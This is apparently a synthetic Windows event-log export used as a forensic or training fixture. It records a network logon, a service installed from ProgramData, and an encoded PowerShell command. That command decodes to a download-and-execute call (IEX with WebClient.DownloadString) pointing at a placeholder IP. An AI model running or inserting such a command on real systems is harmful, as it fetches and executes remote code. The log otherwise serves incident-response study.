EVTX PLACEHOLDER (text export)
TimeCreated=2026-02-02T11:04:12Z EventID=4624 LogonType=3 TargetUserName=s.khan IpAddress=203.0.113.38 WorkstationName=LNX-WEB-03
TimeCreated=2026-02-02T11:06:41Z EventID=4688 NewProcessName=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe CommandLine=powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnaAB0AHQAcAA6AC8ALwA=198.51.100.188
TimeCreated=2026-02-02T11:08:02Z EventID=7045 ServiceName=WinUpdateSvc ImagePath=C:\ProgramData\winup\wu.exe